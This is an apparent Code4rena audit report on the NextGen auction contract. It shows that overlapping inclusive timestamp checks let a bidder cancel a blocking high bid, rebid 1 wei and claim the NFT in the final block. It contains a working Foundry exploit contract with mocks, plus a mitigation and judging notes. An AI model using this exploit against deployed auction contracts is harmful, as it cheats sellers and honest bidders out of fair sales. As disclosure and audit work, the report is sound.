Auctions can be manipulated

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57-L61
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104-L120
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124-L130

Vulnerability details

Impact

This vulnerability enables malicious actors to unfairly manipulate an auction and winning them with a minimal bid of 1 wei.

Vulnerability Details

When ending auction via claimAuction, there is a check to ensure that the auction has ended, using the inclusive inequality operator >=:

require(block.timestamp >= minter.getAuctionEndTime(_tokenid)

On the other hand, both the participateToAuction and cancelBid functions also have a check to ensure that the auction hasn't ended using an inclusive operator <=:

require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

Due to this combination of checks, a potential vulnerability arises. An attacker could take advantage of a specific scenario: At the beginning of the auction, the malicious party places an extremely high bid, preventing others from bidding. When the auction is about to end, during the same block where the auctionEndTime falls, the malicious party atomically cancels their bid, place a minimal bid of 1 wei, and settling the auction, winning the NFT.

Proof of Concept

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/interfaces/IERC20.sol";
import "forge-std/console.sol";

import "./AuctionDemo.sol";
import "./MockMinter.sol";
import "./MockERC721.sol";

contract NextGenAttack is Test {
    MockMinter public minter;
    MockERC721 public nft;
    auctionDemo public auction;

    address owner = address(0x999);

    function setUp() public {
        deal(address(this), 1000e18);

        minter = new MockMinter();
        nft = new MockERC721();
        auction = new auctionDemo(address(minter), address(nft), address(0));
        auction.transferOwnership(owner);
    }
    
    function testAttack() public {
        console.log("Balance before attack:", address(this).balance); // 1000000000000000000000
        
        uint256 tokenId = 1;
        uint256 auctionEnd = block.timestamp + 1000;
        minter.mintAndAuction(tokenId, auctionEnd);

        // 1. Bid with a ridiculous amount, ensuring no one else can bid
        auction.participateToAuction{value: 100e18}(tokenId);

        // 2. Wait until auctionEndTime
        skip(auctionEnd - block.timestamp);
        
        // 3. Atomically cancel previous bid, bid with 1 wei, and claim the auction
        auction.cancelBid(tokenId, 0);
        auction.participateToAuction{value: 1}(tokenId);
        auction.claimAuction(tokenId);

        console.log("Balance after attack:", address(this).balance); // 999999999999999999999
    }

    receive() external payable {}
}

pragma solidity ^0.8.19;

import "./IMinterContract.sol";

contract MockMinter is IMinterContract {
    mapping (uint256 => uint) private mintToAuctionData;

    mapping (uint256 => bool) private mintToAuctionStatus;

    function getAuctionEndTime(uint256 _tokenId) external view returns (uint) {
        return mintToAuctionData[_tokenId];
    }

    function getAuctionStatus(uint256 _tokenId) external view  returns (bool) {
        return mintToAuctionStatus[_tokenId];
    }

    function isMinterContract() external view override returns (bool) {
        return true;
    }

    function getEndTime(
        uint256 _collectionID
    ) external view override returns (uint) {
        return 0;
    }

    function mintAndAuction(uint256 _tokenId, uint256 _auctionEndTime) external {
        mintToAuctionData[_tokenId] = _auctionEndTime;
        mintToAuctionStatus[_tokenId] = true;
    }
}

pragma solidity ^0.8.19;

contract MockERC721 {
    mapping(uint256 => address) public tokenOwners;

    function ownerOf(uint256 _tokenId) external view returns (address) {
        return tokenOwners[_tokenId];
    }

    function setOwner(uint256 _tokenId, address _owner) external {
        tokenOwners[_tokenId] = _owner;
    }

    function safeTransferFrom(address from, address to, uint256 tokenId) external {}
}

Recommended Mitigation Steps

Implement a strict inequality check in the claimAuction function. Additionally, introduce a penalty mechanism for canceling bids, such as extending the auction duration by a predefined period (e.g., ten minutes), if bids are made during the final moments of the auction, to deter tactics involving last-minute bid cancellations and minimal rebidding.

Assessed type

Timing

[c4-pre-sort]

141345 marked the issue as duplicate of #962

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1784

[c4-judge]

alex-ppg marked the issue as duplicate of #1323

[c4-judge]

alex-ppg marked the issue as partial-50

[c4-judge]

alex-ppg marked the issue as satisfactory

[c4-judge]

alex-ppg marked the issue as partial-50